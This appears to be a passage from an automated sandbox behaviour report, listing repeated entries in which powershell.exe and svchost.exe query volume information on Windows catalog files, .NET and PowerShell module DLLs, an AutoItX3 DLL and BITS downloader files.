Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
